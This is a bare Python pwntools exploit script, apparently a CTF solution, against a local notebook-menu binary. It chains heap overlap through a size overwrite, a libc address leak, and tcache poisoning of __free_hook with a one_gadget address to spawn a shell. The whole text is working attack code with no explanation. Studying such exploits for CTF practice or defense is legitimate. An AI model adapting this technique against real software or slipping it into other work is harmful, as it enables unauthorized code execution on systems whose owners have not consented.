1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| from pwn import * context(os = 'linux', arch = 'amd64', log_level = 'debug')
io = process('./2018_.bin') elf = ELF('./2018_.bin') libc = elf.libc one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c] def add(name,size,content): io.sendlineafter(b'>',b'1') io.sendlineafter(b'please enter the name of the notebook:',name) io.sendlineafter(b'please enter the length of the content:',str(size).encode()) io.sendlineafter(b'please enter the content:',content)
def edit(index,content): io.sendlineafter(b'>',b'2') io.sendlineafter(b'please enter the notebook id to edit:',str(index)) io.sendlineafter(b'please enter the content of the notebook:',content)
def show(index): io.sendlineafter(b'>',b'3') io.sendlineafter(b'please enter the notebook id to show:',str(index))
def free(index): io.sendlineafter(b'>',b'4') io.sendlineafter(b'please enter the notebook id to delete:',str(index))
add('0',0x10,'0') add('1',0x10,'1') free(0)
add('0',0x420,'0') add('2',0x28,'2') free(1)
add('1',0x4f0,'1') add('3', 0x10, '3') free(0)
edit(2,b'a'*(0x20)+p64(0x4f0)) free(1) add('0',0x420,'0')
show(2) libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 96 -0x10 -libc.sym['__malloc_hook'] success('libc_base =========================>'+hex(libc_base))
add('1',0x28,'1') free(2) free(1)
add('1',0x28,p64(libc_base + libc.sym['__free_hook'])) add('2',0x28,'2') add('4',0x28,p64(one[1]+libc_base))
free(3)
io.interactive()
|